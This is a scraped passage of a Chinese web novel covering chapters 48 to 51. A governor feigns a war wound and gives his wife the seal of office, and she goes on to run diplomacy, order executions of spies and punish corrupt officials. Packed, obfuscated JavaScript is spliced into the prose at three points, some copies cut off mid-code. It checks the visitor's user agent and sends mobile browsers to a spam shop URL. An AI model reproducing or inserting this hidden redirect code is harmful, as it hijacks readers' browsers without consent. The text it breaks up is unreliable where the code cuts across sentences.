她的付出得到了回报,嫁夫如此,再无他求,前些年的艰辛苦难仿佛都是为了修来目今的幸福。 夏知霜百感交集,转头看向刘宁,恰好刘宁若有所觉地侧头望来。 这一刻,他们心有灵犀,无须苍白的言语,仅是相视一笑,加紧双手交握的力道便足已传递情意。 待到上了车舆,久别重逢的夫妻得已独处,两人几乎是异口同声。 “霜霜清减了,这些日子难为你了。” “季安,你快告诉我你的伤势究竟如何了。” 二人微怔,四目交汇瞬息,同时为他们的默契轻笑出声。 夏知霜转念敛了笑,轻推他完好的左臂:“你先回答我的问题。” “我没事,你瞧!”刘宁活动被裹住的右臂给她看,温声安抚,“你可还记得,大军开拔前,军师提的以伤缓战之计?” “当然记得,”夏知霜的指腹搭上他的右臂,轻轻捏了捏,见他面不改色没有痛楚,彻底放下心,狐疑地问,“不是说要想顺利瞒过平王,需在战时真正受伤流血吗?” 战场上刀剑无眼,右手又是惯用手,她生怕他受的伤比预想中要重,影响了日后的生活。 看他现在只是裹着布装作受伤的样子,那狡猾的微生湘能轻易相信他受了伤,同意他回到里兴疗养? 刘宁面色一凝,叹道:“今时不同往日,阿潮巴不得有个借口停战,自当不会深究我是真伤还是假伤。” 夏知霜蹙眉,不敢置信,那个好战的平王居然会有想停战的一天? 不对,直觉告诉她其中一定有什么缘由。 刘宁正要继续解释,时间却来不及了。 四架车舆平稳驶入总督署,留守衙门的傅杭久候恭迎。 总督署比郡衙大得多,不过衙门再大也要遵守礼制,前衙以六房为中心,就是每房的划分跟普通的衙署不一样。大堂为正厅,审案之用,东侧的屋子是鲁元等幕僚分配好的办公点,西侧屋子由衙门的佐官作办事点。 后衙的房间多些,像是仓库、档案室和刘宁的书房等都置于此处。 夏知霜近来经手不少重要事务,泡在总督署的时间较长,她图方便在刘宁书房隔壁也捡了间屋子出来。 她跟随马车进了总督署,寻思刘宁刚回来,待会儿肯定要会见众官员商谈要事,她便想避到自己的书房去处理手头上理到一半的公务。 在此之前,首先得把总督印还回去,刘宁稍后少不了要安排诸多事宜,需要总督印盖章。 夏知霜吩咐月兰:“回府从我的书房取总督印来,送到正衙交予傅杭。” “是。”月兰领命而去。 夏知霜面向刘宁柔声说:“总督印物归原主。你先和军师他们商谈要事,我晚些时候我再同你用膳。” 刘宁微微使力拉回她欲挣脱的柔荑,浅笑道:“接下来要议的事离不得你。” “……什么?”她愣了愣。 “主君,夫人,诸位大人已在厅堂等候。”傅杭前来汇报。 刘宁顾不上解释,对她道:“稍后你便知了。” 夏知霜如堕烟海,被动的跟着他走,有点紧张。 她不是第一次到厅堂去,但跟刘宁到厅堂里跟几十号官员一起议事,这还是头一遭。 到了正厅后,刘宁扔下了一个重磅消息。 49. 第 49 章 正厅内,以鲁元为首的官员齐聚一堂,除鲁元之外的人分为好几个小群体交头接耳。 少顷,听得门卫高声唱报:“主君和夫人到!”众人来不及细想,迅速依照品级列队。 不少人纳闷是不是门卫喊岔了,但都不敢在这种时刻出声,齐刷刷朝中央铺着毛毯的宽敞过道俯身下拜,余光瞥见夏夫人的湖绿色裙角,方知夫人当真一道来了。 嚯,这可是一件新鲜事。 前总督夫人未曾进过议事堂的正厅,现总督夫人即便进过一两次,那也是在事态紧急的情况下而来,在她代管总督大印期间,有事只在偏厅会见官员,像这般堂而皇之的参与大会集议则是头一遭。 后宫尚不可干政,官眷更不该参与正式集议,上次夫人代管是事出有因,如今总督平安归来,夫人理应回后宅相夫教子。 在场每个人都是这么认为的,他们本该出言劝阻,然而夏夫人对观东的贡献有目共睹,她可谓是攒下了赫赫之功,他们的喉咙仿佛堵了一口陈年老痰。 实话说,四郡遭遇天灾时若非夏夫人挺身扶助,焉有今日之安稳? 有资格站在堂上的列位都是观东的肱骨重臣,别人或许不知道,他们可是人人都清楚,观东看着富硕,其实在那几年内战中元气大伤,现总督上位两年又大兴修路架桥,还要奉旨出征,库银实在空虚得很。 所以这场天灾来得太不巧了! 莫说是替重建百姓屋舍的银子,光是救灾期间供应的全部物资,以及防疫时每天花销出去的药钱,都不是现在的官衙库房能单独承受得起的。 要不是夏夫人慷慨解囊,拿出巨额家资贴补,观东怕是在那场洪涝中气数尽绝了…… 他们总不好端碗吃饭,放碗骂娘,吃人嘴短就是这么个道理。 但千百年来的规矩摆在那里,上头可以胡来,下头不好什么都不表示,不然日后捅出什么祸端来,上头的人责问他们当初为何不进言,他们都没办法说嘴,白白背一口黑锅! 众官员所思所想大差不差,可是人人都不想当出头鸟,人是总督亲自领进来的,此时跳出去顶撞,可不是触霉头吗? 于是,大家抬眼偷觑军师的神色,打算跟随军师的反应来决定作何应对之态。 鲁元面不改色,仿佛入定了。 文武官员察言观色的这么一小会儿功夫,傅杭已经叫人在上首多加了一个座位,而刘宁携着夏知霜穿梭于长长的过道。 夏知霜的心砰砰快跳,没由来的紧张。 这几个月来,她和在列的官员都打过交道,她深切的清楚,聚集在此的人全是观东重臣,他们支撑着四郡的平稳运作。 简而言之,他们是四郡的栋梁,观东的核心大臣,更是权利的中心点。 当下,大臣们对她行拱手大礼,随着她和刘宁前进的方向调整身位。 ……神似盛开的向日葵追着太阳调转方向的动作。 夏知霜能感觉到有许多双眼睛在暗中端量自己,她不敢露怯,也不想示弱,抬头挺胸的站在刘宁身边。 那些人的眼神官司,她在上方一览无遗,每踏一步,感觉对她来说都是一个艰难的考验。 终于走到地毯的尽头,登上台阶,在上位款款落座,她心里深深舒了口气。 无人站出来当场反对她参加大会,她通过了最难的那项关卡。 刘宁抬手,声音一如既往的温润:“诸公免礼。” 众人结礼,鲁元候在他们二人的下首,文官以吕麟为首站在左侧,武官以段敖为首站在右侧,底下的官员又分别列了两排,总计四排官员整齐列队。 “战事方休,文臣辛劳,武将疲乏,本不该急切的劳动诸公,”刘宁扫视众人,沉沉叹息,“然,事态紧迫,需与诸公共商大计。” 官员们连忙表示不要紧,总督您尚且来不及洗去风尘带伤主持集议,他们这些毫发无损的人怎会介意这个? 表完态度,他们又追问究竟是发生了何事,竟引得总督如此忧思不宁。 夏知霜看向刘宁,她也非常想知道他为何这么反常,他一个很爱干净的人,连洗澡更衣都顾不上就匆忙带她来此地了。 刘宁又是一声轻叹,将忍了许久的秘事娓娓道来。 观淇大军攻打木昌国势如摧枯拉朽,邻地人人自危,他们深知微生湘好战,木昌国一旦倒下,下一个被攻打的必是他们中的一国。 据千丝台的线人探知,木昌国投降后,高淙、中熙和睢国达成了盟约,一国有难,其他两国鼎力匡助,而且其他小国对他们的联盟很感兴趣,为了抵抗观淇大军,那些小国恐怕早晚会加入联盟。 他迅速和微生湘分享了这个消息,二人带着幕僚商议了许久。 单是他们其中一国,观淇必将以大火燎原之势拿下,他们任意两国结盟,观淇大军仍胜券在握,但是三国合盟后,双方便势均力敌了。 观淇九地跟周边的小国积怨已久,在小国结盟的情势下,一旦双方开打,将是不死不休的局面。 从前那些小国也嚷嚷过几回要结盟,要么是各方利益分配不公而翻脸,要么是被观淇的探子暗中搅黄了,眼下他们不声不响就达成盟约,威胁到九地的存亡,饶是好战的微生湘,也不得不为了淇南的将来而万分谨慎。 他们不眠不休探讨了两日,得出了暂时休战,以不变应万变的决定。 但朝廷的旨意摆在那里,得有个撑得住休战的理由,日后才好应对朝廷的诘问。 于是,微生湘当天“吐血”,得了急症。刘宁的胳膊则在前线时斩杀敌方将领时,被对方临终前的殊死一搏给“砍伤”了,他身上还有多处伤口,顺势回里兴静养。 夏知霜听罢在心里长叹,真是阴差阳错,无巧不成书。 原本这仗打得很顺,对面毫无抵抗之力,在攻打木昌首都时,刘宁想按照鲁元的计划伤遁回里兴,奈何碰到的木昌将领个个是软脚虾,他就是想故意挨一刀都找不着机会。 没想到事发突然,不用想办法欺瞒微生湘就能光明正大的“受伤”回了里兴,连微生湘自己都病遁了,就不可能会在朝廷那里揭穿刘宁的伤遁。 人都是有私心的,微生湘是为了保住淇南,刘宁是为了护住观东,二人算是殊途同归,因两道圣旨而被离间的兄弟情,在小国联盟的情况下再次焕发。 世上不是非黑即白,唯有利益才能使人长久的捆绑在一块,夏知霜从中领会了这个道理。 她无奈的发现,她刚接手总督印那会儿,罢官那些人好像罢早了。 “情况便是如此。”刘宁沉沉说完结束语。 底下的官员顿时窃窃私语,隐约说着“你有何计策”、“这可麻烦了”等话语。 众人商议了一阵,罗列了好几套方案,各个派系争得面红耳赤,拿不出统一的提议。 还是鲁元沉得住气,向上座一揖:“主君可是有了良策?” 刘宁笑了笑:“在我养伤期间,一应事务全权交由我夫人。” 这话不说底下的人吃惊,连默默旁听的夏知霜都一脸惊诧。 鲁元是唯二淡定的人,好似早就料到这个结果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768601|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >做戏做全套,总督既是带伤而归,理应好生静养,这伤不能养太久,不然小国联盟就误以为观东可欺,主动打上门来了。 这世道那么乱,养好伤之后,他指不定什么时候又要带兵远征,他不会一直放心外人替他掌管观东。无数前例摆在那里,很多替主人掌家的下人管着管着,就以为自己才是那个家的主人,挖空心思取而代之。 往远了说,周边小国的反王哪个不是启国的封疆大吏?他们替朝廷管理边陲地界,久而久之就管到自己囊中了。 往近了说,老总督就是疏忽大意之下,被心腹残忍杀害了。 后人哀之而不鉴之,亦使后人而复哀后人也。 对刘宁来说,鲁元是外人,夏知霜是家人,孰近孰远显而易见。 外人代管有被夺权的风险,家人代管就没有这个顾虑,因为夏知霜是一介女流,如果她显露出一丁点取代刘宁的苗头,首先就会被群臣攻击。 综合来看,夏知霜是代总督的不二人选,因此刘宁趁养伤的期间就让她继续掌管四郡,欲将她磨练成一个合格的新总督。 这些条理,夏知霜很快想通了,群臣当然也想到了,有鲁元持同意的态度挡在前面,他们不敢贸然开口得罪人。 夏知霜缓缓站起来,妙曼的对刘宁福身:“妾身必不负君之所望。” 这是她第一次对他行礼,以前她不乐意,因为行礼就把两人不平等的身份摆到明面上,就好像在说他们的感情也是不对等的。 现在众目睽睽,她不得不福身“谢恩”,但想起掌权时那种唯我独尊的畅快感,她拜得心甘情愿。 傅杭托着一枚精致雕刻的玉章进来,刘宁这次当着大臣们的面,把总督大印转交给她。 夏知霜郑重接过,如果上一年她是代总督的试用期,那么眼下就转正了,正因试用期的时候她干得不错,才有转正的机会,她接得心安理得。 她扫眼望去,想看群臣的反应,只看得到一顶顶乌纱帽。 他们对着执印的她拜了下去,以前是拜她代管的大印,现在是拜她这个人。 夏知霜偏头,身边那人对她浅笑,眉眼掩藏不住倦意。 回到侯府,刘宁洗漱后吃饱喝足,在榻上放松和她闲聊,不知不觉沉沉睡了过去。 夏知霜从没看过他在白天歇过去,他无疑是累极了,眼底的乌青一看就是很久没睡过安稳觉。 他瘦了好多,比以前黑了一点,就算贵为总督,想必行军打仗也吃了不少苦。 她看着看着,终于有他回家了的实感,不禁安心笑了笑。 她不舍得走,小声吩咐月兰搬来公文,就这么坐在小榻另一头批阅。 下人都退出去了,屋内很安静,刘宁可见是累狠了,中途一点没醒,竟一觉睡到了暮色下沉。 美人伏案书写,偶尔优雅地呷一口浓茶,白里透粉的玉指随笔游动,指盖在灯光下莹润有泽。 这画面恬静美丽,叫人不忍打断。 仆从静静来往,偌大的侯府点上各种灯,月兰蹑手蹑脚续了屋里的灯退出去,夏知霜抬头看外面盖下来的夜色,才发现居然这么晚了。 视线往回收时,美眸对上了一双炯亮的星目。 “何时醒的,醒了怎么不叫我?”她收拾文书,柔柔而笑,“饿了没有?叫他们摆膳吧。” 刘宁跟着她一起笑,然后不等她唤人进来伺候,轻轻推开条案,拉她一起倒在榻上。 里间依稀传来衣物窸窸窣窣的摩擦,夹杂着听不清的呢喃,月兰使了个眼色,领着一群人退远点。 50. 第 50 章 夏知霜被授予与刘宁同权后,她光明正大的到总督署坐堂,直接在议事堂的正厅会见官员。 权限拉满的结果是,很多以前没资格知道的绝密文书,如今一摞摞抬进她的书房,由傅杭分类摆在案上,足足摆满两张条案。 她看着就头疼,揉着太阳穴问:“这么多都是今日要批阅?” 抬公文进来的傅春从容作答:“是,这些都是需要决断的紧急公文,次要的那批封存在雨石阁,随时任您调取。” 此人是傅杭的下一辈,傅杭和傅榆两兄弟的族中侄子,傅春虽是小辈,今年虚岁有十六七了,他聪明机敏,傅杭把他带在身边当做继任者培养。 夏知霜挥挥手叫他下去了,只留傅杭和月兰在书房伺候。 以前刘宁只把傅杭支给她用一段时间,但从刘宁凯旋那天起,跟在她身边的傅姓人变多了,相当于以傅杭为首的整个秘书团都围着她转。 然后她才知道,傅家虽名为家臣,表面做着秘书的工作,实则担任着一些明面上不好派发给官员的活计。 比如外交。 一般情况下,如果是出使别国,由皇帝钦点特使和使团;若是他国来使,则是鸿胪寺负责接待外国使团。 观东没有叛离启朝,起码口头上还是以启民自居,总督署的配置就不能太过逾矩,总督不能钦点特使出使,更不能搞出个小鸿胪寺去招待来观东的小国使团。 又因观东要打交道的对象中,除去淇南这独一份,其他都是裂土为王的乱臣贼子。总督署打着忠于朝廷的口号,那当然要跟着朝廷一起谴责反王,绝不跟反王关系过密。 所以,每当有小国派遣来使到观东,总督署不能派出擎着礼部印的官员跟那些人会面。 不然那不是变相承认那些小国的独立是合法性的吗?观东还怎么理直气壮的痛骂他们是祸国奸臣,从而占据舆论的上风? 再者,真承认他们是诸侯王的话,观东的总督署不就矮了诸侯王一头吗?那不能够,不蒸馒头还争口气呢! 于公于私,观东都不能把小国使团太当一回事,避免启朝误会观东和小国朋比为奸。 于情于理,也不能真不当一回事,大家可是毗邻而居,一举一动互相影响深远。 那么,就需要一个既能代表总督出面,又没正式兑过大启朝廷官照的人出面,傅家便在这种时代背景下全族投身刘氏成为家臣。 夏知霜想起来了,她没嫁给刘宁前,在里兴看到过傅杭负责招待淇南的来使,当时平王还送了好多美人给刘宁来着…… 两次接待启朝宣旨太监的人也是傅杭,毕竟观东真没搞出个小礼部和小鸿胪寺出来,没有哪个正规官员敢接那么大一摊事。 总之,现今傅家三代人的主要职责是掌管外交之事,其余都是次要。 夏知霜也是刚知道,原来观东和小国们的交流意外的频繁,就连干过几次仗的高淙都隔三差五送来一封密函。 小国密函内的文字采用文言文格式,普遍简短,风格有好几种。 恐吓型:你们观东最近很嚣张啊,但是别想打我们的主意,我们有最雄壮的骏马,最威武的士兵,最锋利的武器,可不是吃素的! ——这是虎视眈眈的高淙。 观东回曰:呵呵(嘲笑一声就算了,把他们的话当括约肌放气,一个眼神都不给,懒得搭理)。 打商量型:听说你们在备战啊,真的假的?不是在打我们的主意吧?你看咱们体量相当,打起来就是两败俱伤,反倒让别人拾了渔翁之利。不若你我各安一方,先各凭本事恰干净那些小虾米,等没有第三方出来搅局,你我再一决雌雄,你看如何? ——这是喜欢坐山观虎斗的睢国。 观东:放心我的朋友,不是打你,咱们中间有个缓冲带呢,不要担心。我们往来通商那么久,彼此合作那么愉快,还想跟你一起手牵手赚大钱呢。 讨好型:你们四郡是多么的强大!(中间是长篇大论的赞美之词),而我们弹丸之地是多么多么的弱小!,(插上连篇累牍的诉苦之词),最后表示咱们有事好商量,可千万别不打招呼就动手。 ——这是势弱的中熙等小国。 余下的,就是更卑微,加倍讨好主动送礼来的,以宝兴为代表的真正弹丸小国,它们连上桌的机会都没有,被当做可怜的缓冲地区,就等什么时候被强盛的势力一口吞并。 观东给他们回信是分等级的。 对睢国,那是热情高涨,有来有往。 对高淙和中熙等地,基本上不怎么搭理,十信三回。 对类宝兴小国就更忽视了,礼照收不误,没事却不会回信。 不过高淙他们已经达成了盟约,私以为有了倚仗,来信的措辞就没那么客气了,甚至中熙那些小国都一反常态挺直了腰杆,用词夹枪带棒,火药味颇为浓厚。 这种特殊时期下,怎么回函成了一个难题,稍有不慎可是会引发战争的。 夏知霜刚大权在握,业务不甚熟练,不敢自作主张,带着两箱公文回府找刘宁了。 刘宁吊着胳膊“养伤”,就着她翻开的信函粗略看了两眼:“你可有看过上两年的往来信函?” 她点头:“五年内重要的信函都看过。” 刘宁道:“别的往时怎么回,今时怎么回,对了,睢国便一视同仁吧。” 夏知霜深品他话中的意思,很快莞尔一笑。 观淇大军虽暂时解散了,但要想重新联合快得很,他们在信函上亮出爪子,不过来打探虚实,看看刘宁受伤有没有可乘之机、 如果观东一改强硬的姿态,对他们好言好语,他们肯定认为观东虚弱,那还不如照旧给他们冷脸,让他们猜去吧。 睢国赫然在结盟之列,伤了两地早前定下的互不侵犯的默契,那就别怪观东给他们冷脸了。 只有如此,他们才会如旧忌惮观东,惧怕观淇大军,短期内不敢轻举妄动,给予观淇九地喘息之机。 夏知霜无视了那些叫嚣的信函,只给睢国冷冷淡淡的回函,寥寥数语质问他们是不是要跟观淇反目。 刘宁见她主语写的不是“我观东”,而是“我观淇”,把到嘴的话都咽回去了。 只写观东四郡,有了盟友的睢国或许不再那么忌惮,写上观淇九地,那睢国就不得不重新审视信函上的责问了。 她无师自通就扯虎皮拉大旗,熟练得不像是初初上任,简直像个深谙此道的官油子。 刘宁深深看她,朗声笑言:“霜霜,你果然很有天分!” “跟你学的呀,近朱者赤近墨者黑嘛。”夏知霜把回信交给傅春。 就算日后微生湘得知她曾擅自把淇南搅和进观东和别国的外交中,他也不好说什么,谁让观淇是友邦呢?这事攸关到友邦的安危,而且唇亡齿寒,间接也算淇南的危机,借用一下淇南的名头没什么好指摘的。 而睢国原来就跟观东交好,和高淙、中熙那几个跟观东有过龃龉的小国不一样,睢国还有转圜的余地,睢国接到这份信后,焉能不动摇?睢国一旦动摇,那其他自顾不暇的小国还愿不愿意跟高淙去送死就不好说了。 要是他们不上当,那也没什么,她还有别的后招等着施展。 都说新官上任三把火,在自家烧不算什么本事,烧到别家不得安宁才厉害呢。 夏知霜心里有点小得意,摩拳擦掌,跃跃欲试。 手腕一凉,扭头就见皓腕间多了金丝绞的臂钏,一圈是绞花,一圈是瑞鹤,另一圈衔接着祥云,分散嵌有好些米粒大的红宝石,不管从哪个角度看去都流光溢彩,衬得肌肤细腻如美玉。 它跟现在市面上大多显得笨重的臂钏不一样,这个臂钏小巧精美,点缀的珠宝不追求大小和贵重,只以精致美丽为首。 “哪儿来的?”夏知霜惊讶地问,仔细看了看臂钏,心里很是欢喜,“真好看,好像不是咱们这边的工艺。” 刘宁很满意地欣赏:“回程时在淇南看到的,一眼就觉得适合你,顺手买下了。” 骗人,夏知霜嗔他一眼。 这一看就是店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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静养中的刘宁闲不住,天天跟长在她身边似的,干柴烈火,孤男寡女,有时候就胡闹起来。 夏知霜嘴上矜持一二,心里十分乐意跟他亲近,而且有他在一旁感觉很安心,有什么不懂的,马上就能请教“夫子”。 某次胡闹中,二人青天白日就扮起了夫子和学生。 过后,她一脸“没想到你一个白面书生的文人脸居然会干这么有辱斯文的事”的表情。 刘宁眨了眨眼,温和一笑,又伏身下去。 何谓小别胜新婚,她是深刻的体会到了。 打情骂俏只是调剂,两人正事没少干。 这段时间四郡在过筛子,千丝台收获不错,筛出了几十个敌方的探子,其中有人身居要职。 夏知霜犹豫了良久,怀着沉重的心情,在处决名单上盖了大印。 那些探子不止是名单上冰冷的名字,他们是活生生的人,他们有家人,有朋友,有自己的故事,其中有人可能不是自愿做探子的。据她所知,一部分探子是家人被抓走才不得不铤而走险。 被处决的人里,有没有被迫从事这一行的人呢…… 次日午时三刻,探子们身首异处,无一存活。 这是她第一次下令杀人,就算不是她亲自执行,她的双手还是不可否认的沾染了鲜血。她非常清楚若是放任探子继续潜伏,迟早会误了大事,但她还是做了好几天的噩梦。 她一直不敢杀人,前世受过的十几年真善美教育让她害怕杀人,不到万不得已的地步,她永远不会动这个念头。 如今她越过了那条看不见的底线,她恍然发觉,前世那个天真善良的“夏知霜”遥远而陌生。 “她们”不再是同一个人了。 那个善良的“夏知霜”死了,她在这个残酷的世道活不下去的。 夏知霜一遍遍这么告诉自己,直到她把皱巴巴的处决名单烧了,心里才好受起来。 51. 第 51 章 忙碌能冲淡心理创伤,夏知霜没能悲春伤秋太久,也没空去感伤,事情实在是太多了。 淇南派使者过来讨粮了,说是水灾过境,今年颗粒无收。 他们要的还不少,要得理直气壮,仿佛观东不给就是十恶不赦。 这是历史遗留问题,老总督和老平王交情深厚,观淇九地紧密相交,观东又有余粮,老总督乐意成人之美。 刘宁亦承旧制,年年贴补淇南。 现今时局越发错综复杂,观东比以往更加提防淇南,微生湘至今还不肯告诉他们那两道圣旨的内容,汪晁还带兵戍守在剌州呢。 故而夏知霜不愿意那么痛快交粮给隔壁,反正她跟微生湘只有一面之缘,刘宁不好说的话,由她来说,刘宁不好拒绝的事,由她去做。 她亲笔回信,开头先诉苦。 ——我们对你们的遭遇深表同情,观东同样遭遇了天灾,死了很多人,毁了大量的建筑,唉,当时民不聊生的情景仍历历在目,实在不愿再经历第二回了。 紧接着卖惨。 ——实不相瞒,此次受灾的地方是观东的主要产粮地,我们是下游,比你们上游受灾还严重,唉!不止你们颗粒无收,我们也毫无所得啊,存放陈米的仓库都泡在水里了,所以不是我们见死不救,是我们也快揭不开锅,没有余粮借你们了啊! 当然了,信中的措辞没有那么直白,经过鲁元捉刀,通篇精短文雅。 密函寄出去不久,刘宁寄给微生湘话家常的私人信件也出发了。 淇南那边接到公函后,那是既愤怒又憋屈,他们帮了观东那么多忙,观东居然连这点粮都不肯给,太过分了!他们从未受过这种委屈! 同时他们又很疑惑,这是怎么回事?以前不是没有过水灾,隔壁不也是乖乖给粮了吗?还说他们也毫无所得,这谁信啊。 台开郡那地方是块宝地,部分地区在风调雨顺时稻类能一年三熟,至六月底就割完最少一茬水稻了;由此可见,观东损失惨重是真,“毫无所得”就假得没边了。 但今年算不上风调雨顺,他们哪知道台开郡上半年有没有收获早稻和中稻,如果收了两茬,有余粮能匀过来,如果只收了一茬,那观东不够自己吃,选择明哲保身也无可厚非。 问题是他们不知道具体情况啊。 古熠和微生湘商量几番,皆认为对方有三成可能是自顾不暇,有七成是肯定有余粮而不借,假如是后者,二人又往别的方向去猜忌。 观东为何突然不肯舍粮,难道是他们跟别的势力勾搭上了,不想跟淇南维续盟约了么? 淇南众人正一筹莫展,刘宁的信就到了。 刘宁信中笑呵呵说他伤势好点了,亲切慰问他的贤弟病情好转没有,再超绝“不经意”的表示,大夫说哥现在不宜劳神,哥家里现在是你嫂子做主了。 他的好贤弟微生湘把信揉成纸团丢弃一边。 微生湘面无表情问:“军师如何看?” 古熠看他动怒了,心中惴惴,谨慎作答:“一个刚唱完白脸,另一个接着唱红脸,意在修补两地的情谊,不像是要跟咱们割席。” 莫非是观东今年当真只割了一茬早稻? 微生湘怒气有所消减,又关心这到底是谁的主意,以前观东自己不够吃也会省下部分口粮送过来,努力维系两地友谊,生怕他翻脸打过去强抢台开郡,淇南要不到粮还是头一次,他想知道是谁让淇南丢了那么大的脸。 人选左右就那几个,不是刘宁就是鲁元,哦对了,还有个新晋的代总督夏知霜。 刘宁让权给其妻的消息陆续传出去了,古熠早有耳闻,他跟每一个听到此条消息的人一样,都不认为夏知霜能成什么气候,不过是刘宁休养不便出面使出的障眼法罢了。 在人家手底下讨饭吃最忌讳凡事把话说太绝,古熠没有直言夏知霜是傀儡,觑着自家王爷的脸色推测:“那夏氏到底是妇道人家,再冰雪聪明,也不敢冒会跟咱们决裂的风险。鲁元虽有几分神智,但观东侯没有事事听任,依小臣浅见,此事许是观东侯所为。” 微生湘没说话,他心里也是这么想的。 他再次翻阅观东的公函,上面的字迹娟秀灵巧,不是刘宁的字,不是鲁元的,那就是夏知霜的。 这件事还真是她来做最好,刘宁不会主动撕破脸皮,鲁元身份不够格,只有她这个代总督又兼他嫂嫂的人开这个口,他才不好随意发火诘问让观东更难堪,换谁都没有这个效果。 微生湘转念想起她去年代理观东的举止,心里的想法又动摇了,那样一个玲珑剔透的人,真是刘宁立起来的傀儡?他有点不太相信。 或许这件事中,有她的几分手笔在里头。 ……真好啊。 一心一意扶助夫家的贤内助,忠心不二辅佐君侯的军师,刘宁全都拥有。 他没有,一个都没有。 微生湘顿觉心烦,公函随便丢在桌上,发出一声轻响。 古熠立时低头,嘴巴发苦,这位祖宗平时就不好说话,心情糟糕就更难伺候,他只好当做不知道,更小心谨慎的议事。 与淇南这边乌云罩顶的气氛相比,那边观东的氛围没好到哪里去。 宅邸,夏知霜气得一佛出窍,二佛升天。 她把账册重重拍在矮桌上,怒极而笑:“好啊,素日贪那么多还不够,居然贪到赈灾救民的银子上了。瞧瞧,这账做成什么样了,真当其他人都是傻子不成,还是以为我好糊弄,专挑我来欺负?!” 各地账房整理好了救灾期间的账册,送到总督署的账房审计,正衙账房人数不够,聚贤庄抽调人手过去帮忙,她看的这本就是丁原发觉有异交上来的。 她很少发那么大火,把屋子里外的人吓得缩紧脖子。 刘宁拾起册子,翻开几页,果真是一本假账。 每一笔款项都平得很好,正因为平得太好,反而露了马脚,如不是他见惯了账册,如不是夏知霜出身商贾,看过的账本不计其数,可能真就被糊弄过去了。 而假账不单单一本,丁原抬来了一整箱,正衙账房还在干活,假账数量可能还会增加。 夏知霜越想越气,连连冷笑:“丰瑛郡郡守,石答郡郡守,这两位真是个中楷模,令人刮目相看啊。” 其他小官暂且不提,郡守可是深知观东内囊尽空,他们领着俸禄收着厚礼还不知足,竟把手伸进摇摇欲坠的官库里,贪寐着无数百姓的救命钱,实在可恨! 刘宁不是不生气,但他见过太多,他看向月樱:“叫厨房送点冰的玫瑰露来,撒点桂花糖。” 最近天热了,她爱吃这个,吃点的冰的消暑又消气,月樱连忙应答出去了。 刘宁给她沏茶,温柔安抚:“总归他们跑不掉,何须为区区硕鼠气成这样?” 想想也是,跑得了和尚跑不了庙,夏知霜平复了下心气,喝了口毛尖解渴。 厨房常备主子们爱吃的食物,月樱一过去,那边以最快的速度送过来。 刘宁只叫了玫瑰露,月樱自然不会只叫这个,就是她真只叫一样,厨房也不可能只送一样上来。 主打的香甜玫瑰露,酸甜可口的酸梅汤,盖了冰渣的砂糖豆花,酸奶有两种,一种稠的撒几层干果碎,一种稀的捞混合水果块。 室内弥漫着水果甜香,每盅都有冰块镇着,炎热的天气来上几碗,神仙都不做。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801673|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏知霜馋了,先尝了碗酸梅汤,浑身舒爽,气消散得差不多了。 她每样尝过去,最爱吃的玫瑰露反而受到了冷落,酸奶捞水果成了新宠。 天气转热之后,各种各样的水果争先上市,送进府邸的全是水果中的翘楚,大多很美味,各有不同味道的酸甜,基本上是她前世都没有见过的品类。 刘宁对这些零嘴没有兴趣,陪她吃了一碗冰渣豆花,拿一本书看了起来。 月樱盛了五六碗,打扇的月荷赶紧劝:“夫人,不宜贪凉,晚些再用吧。” “碗这么小,不碍什么事吧?”夏知霜寻思一碗就三四口的量,还没怎么过瘾呢。 月荷道:“郭大夫吩咐奴婢看着量呢。” 夏知霜不甘不愿,意犹未尽的停下了,放碗时顺手叉走盅中最大的那块果子,月樱忙带人把东西全抬走。 她得意啃着冰凉脆甜的瓜果,转头见刘宁一边看着她无奈笑着,一边不赞许地摇摇头,他觉得健康是第一位,不论什么时候都该好好听大夫的话。 夏知霜跟官员打交道久了,脸皮厚了不是一点半点,佯装没看到他不赞许的神色,没办法,她就剩贪嘴一个爱好了。 月兰捧着个托盘进来,上头搁着厄崖堡传过来的信件。 刘宁拆聂桓的,夏知霜拆许英慈的。 聂桓的信以公务为主,汇报近期边防的详细状况。许英慈的信零碎说着女儿家的俏皮话,可信尾又说她这胎怀得艰难,打算回里兴养胎。 她的第二封信改口说不回来了,大夫建议她最好静养,聂桓也怕她禁不住舟车劳顿的苦,母子在路上发生什么意外就不好了。 夏知霜和刘宁转述一通,提笔给他们回信,让郭秀婉列了孕妇用到的药材清单,叫章氏拿钥匙从药库捡两车药材孕到厄崖堡。 夫妇两个坐一块又说了会软乎话,手中的笔没停,一道道命令经由傅杭之手传往各郡。 吕麟和张廷被认命为特使,类比的话,像钦差大臣那样的地位,二人分别走往丰瑛郡和石答郡的郡守衙门,丁原等人抬着假账随后就到。 没多久,两个郡守落马,抄出了金山银山,他们贪污受贿几十年,攒下的家底非常丰厚。 官库总算进账两笔银子垫了垫底。 其余贪多的小官亦是抄的抄、斩的斩,小贪的或是降职,或是发配边境劳作。 一把手空出来的职位,由二把手顶上,折腾下来,四郡官职变动的人数还真不少。 纵是如此,还是有不少底层官职空缺。 